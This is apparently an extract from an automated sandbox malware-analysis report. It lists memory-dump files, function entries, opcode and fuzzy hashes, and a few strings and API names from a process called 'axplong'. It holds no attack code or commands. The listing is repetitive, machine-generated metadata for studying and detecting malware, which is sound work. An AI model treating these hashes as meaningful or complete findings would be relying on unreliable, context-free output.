Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: c1eede6202c2714473c98dce9c0f4b2763bd1e3b6a101b15fdf7de26ae1e15b6
Instruction ID: ce12b2ba08c7796ca460ff5ac2ae72827e32b26f94ef185b8e9c79671a2b4f8c
Opcode Fuzzy Hash: c1eede6202c2714473c98dce9c0f4b2763bd1e3b6a101b15fdf7de26ae1e15b6
Instruction Fuzzy Hash: EEC21A72E0462D8FDF25CF28ED407A9B3B9EB88305F1441EAD54DA7280E775AE858F41

Function 00A02BB0 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction ID: 8c173ea201125afea0e2b2823a132298a056ba08c34ac5ce449930d48ceee6c2
Opcode Fuzzy Hash: 5bf072589c0c8c6daaa14a71d751704f1d0fc013c2abe94fbb674223392015af
Instruction Fuzzy Hash: 3CF14F71E012199FDF14CF69D8847AEBBB5FF88314F258269D819AB384D731AE41CB90

Function 00A18D18 Relevance: 1.6, Strings: 1, Instructions: 392COMMON

Download Yara Rule

Strings

0123456789ABCDEF, xrefs: 00A18FF4

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 0123456789ABCDEF
API String ID: 0-2554083253
Opcode ID: 269ebf4cd42bb8b4eccee38473c39ce3e1b88b27b1be22886fe829a65fcd5802
Instruction ID: 71e41ab45b9db85b0066eb04cfcf45c85297ecd49ccecae2833974f1d16b8de8
Opcode Fuzzy Hash: 269ebf4cd42bb8b4eccee38473c39ce3e1b88b27b1be22886fe829a65fcd5802
Instruction Fuzzy Hash: 1CD1CE6558F3D04EC70387758EAA6817F70AE2312432E85DFD0C28FAE3D249595AD367

Function 00A18D20 Relevance: 1.6, Strings: 1, Instructions: 388COMMON

Download Yara Rule

Strings

0123456789ABCDEF, xrefs: 00A18FF4

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 0123456789ABCDEF
API String ID: 0-2554083253
Opcode ID: cc679c0231cbdfe9ddd77deb6c8c16f5a90a2cca16fb3b4bbdd2e0405a8bca9b
Instruction ID: 4a13558da6b22b73de2d3eddb7760b892e9281de578d1a0c22675f89f8703a2c
Opcode Fuzzy Hash: cc679c0231cbdfe9ddd77deb6c8c16f5a90a2cca16fb3b4bbdd2e0405a8bca9b
Instruction Fuzzy Hash: 0FD1DE6558F3D04EC70387758EAA6817F70AE2312432E86DFD0C28FAA3D249595AD367

Function 00A18D34 Relevance: 1.6, Strings: 1, Instructions: 379COMMON

Download Yara Rule

Strings

0123456789ABCDEF, xrefs: 00A18FF4

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 0123456789ABCDEF
API String ID: 0-2554083253
Opcode ID: d438ab1e231af5c517c25370a3548707f11712f3b3ee7b47367ac068faab81d5
Instruction ID: c7c9625af18a36ae7f0330f228afd6bb4d0beae54d04240587bb51946a79fb15
Opcode Fuzzy Hash: d438ab1e231af5c517c25370a3548707f11712f3b3ee7b47367ac068faab81d5
Instruction Fuzzy Hash: B3C1D06558F3D04EC70387358EAA6817F70AE2312432E86DFD0C29FAE3D649595AC367

Function 00A18D38 Relevance: 1.6, Strings: 1, Instructions: 378COMMON

Download Yara Rule

Strings

0123456789ABCDEF, xrefs: 00A18FF4

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 0123456789ABCDEF
API String ID: 0-2554083253
Opcode ID: 08d6897997782cba982db4e7caec8fca299e25e00a7e6ab6ae0be177070f3444
Instruction ID: 9ecd802048cd1c3aef8c7b5b7d49011e6e7bd340779255bdd6495538d385dfbc
Opcode Fuzzy Hash: 08d6897997782cba982db4e7caec8fca299e25e00a7e6ab6ae0be177070f3444
Instruction Fuzzy Hash: 19C1E06558F3D04FC70387358EAA6817F60AE2312432E86DFD0C29FAE3D649595AC367

Function 00A18D3C Relevance: 1.6, Strings: 1, Instructions: 378COMMON

Download Yara Rule

Strings

0123456789ABCDEF, xrefs: 00A18FF4

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 0123456789ABCDEF
API String ID: 0-2554083253
Opcode ID: 1e07c3a38280bddec46c52d3a1a4298ab0e71bfb8eb286199e2e05ae43fb7c0e
Instruction ID: 4ae0d9320192d89baaebea3b94be05975b268070c7b8d1ab890a249337ac7d43
Opcode Fuzzy Hash: 1e07c3a38280bddec46c52d3a1a4298ab0e71bfb8eb286199e2e05ae43fb7c0e
Instruction Fuzzy Hash: 39C1F06558F3D04EC70387758EAA6817F70AE1312432E86DFD0C28FAE3D649595AC367

Function 00A18D88 Relevance: 1.6, Strings: 1, Instructions: 339COMMON

Download Yara Rule

Strings

0123456789ABCDEF, xrefs: 00A18FF4

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 0123456789ABCDEF
API String ID: 0-2554083253
Opcode ID: 52e0e55f468f0b77c727e91d3e98694b553cbbd7b00e82eeac7aa604e52b3e98
Instruction ID: fd8b948780acddbc6b1508e2766c67f4ee8863544767247a338cf451548defc1
Opcode Fuzzy Hash: 52e0e55f468f0b77c727e91d3e98694b553cbbd7b00e82eeac7aa604e52b3e98
Instruction Fuzzy Hash: 00B1E26459F3D00EC703873A8EAA6857F60AE1712432D86DFD0C28FAE3D249595BC367

Function 009DCAED Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,009DCE55,?,?,?,?,009DCE8A,?,?,?,?,?,?,009DC400,?,00000001), ref: 009DCB06

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: 0c1c6d48350ec2f4a40b48d3a32a90dc036064af48c3b2e63c67489a074fb0ab
Instruction ID: 0308af74e326bddad84e58c2d7012e81308ac0a31557f0665e5fa209575ee7b1
Opcode Fuzzy Hash: 0c1c6d48350ec2f4a40b48d3a32a90dc036064af48c3b2e63c67489a074fb0ab
Instruction Fuzzy Hash: 40D02232A8353853CA212BD8BC088FCBB0CAA01BA03288433ED0613220CAA59C02DBD0

Function 009F7D63 Relevance: 1.5, Strings: 1, Instructions: 216COMMON

Download Yara Rule

Strings

0, xrefs: 009F7EDF

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction ID: 16786917be02c1e68f3760c2679023a8e93bd030774479c81ae5e8c9618cf7b4
Opcode Fuzzy Hash: 34b90d6f816b0148f172a566a29f4731fc4dbb34a2dc1360e8ce98d5d1eead5a
Instruction Fuzzy Hash: 5F51377060C64D5ADB388AEC88967FEE79E9F41300F54089BE742DB6E2DB159D44C362

Function 009C4CD0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f2974a200ef6257ab1168563da8fe17786fedf6d416b7e4b343f4e928623235
Instruction ID: 81eb269087f6c5a4d61232b313edd865794a5c6c0a1376d04b4031fc995960aa
Opcode Fuzzy Hash: 2f2974a200ef6257ab1168563da8fe17786fedf6d416b7e4b343f4e928623235
Instruction Fuzzy Hash: 22225FB3F515144BDB4CCB9DDCA27EDB2E3AFD8218B0E803DA40AE3345EA79D9158644

Function 00A06EE9 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd9dbbba32ef4b6fc4b844053fc93a855d7c94bfa07db484e7c77deedd12937a
Instruction ID: 8b343bd4e9f1a8c92d255fedd84d1ef2d25d4a60f2c740878b93967548acccff
Opcode Fuzzy Hash: dd9dbbba32ef4b6fc4b844053fc93a855d7c94bfa07db484e7c77deedd12937a
Instruction Fuzzy Hash: E6B14931A14609DFD719CF28D486B697BA0FF45364F298658E89ACF2E1C335E992CB40

Function 009C4AD0 Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 361b34861adffeebed4c0b6a0233ff5c68b783de2887d3cf72c753a2b518e50b
Instruction ID: 524908f9f53428700c1820059e25c2a49c7a6323dfe3e7d2e91286617fa5a738
Opcode Fuzzy Hash: 361b34861adffeebed4c0b6a0233ff5c68b783de2887d3cf72c753a2b518e50b
Instruction Fuzzy Hash: 945191716083918FD319CF2D842567ABFE1BF96200F084A9EE0D687292D775DA04CB92

Function 00A0775B Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CCF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4454598928.0000000000CD0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455363098.0000000000E68000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4455541927.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f4159d108bdd06156a9c4401f554125621a063dfa1bee46bfa3bb6421ff03dd
Instruction ID: 27b004f45b70aa1632b37749b11f354bd4204c93f26e80a6050503b03116ca57
Opcode Fuzzy Hash: 7f4159d108bdd06156a9c4401f554125621a063dfa1bee46bfa3bb6421ff03dd
Instruction Fuzzy Hash: D521D673F2043947770CC47E8C5327DB6E1C68C600745823AE8A6EA2C1D968D917E2E4

Function 00A0763B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4452228796.00000000009C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000002.00000002.4452167558.00000000009C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452228796.0000000000A22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452503789.0000000000A29000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000A2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000BAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000C88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CB7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.4452577751.0000000000CC0000.00000040.00000001.01000000.00000007.sdmpDownload File
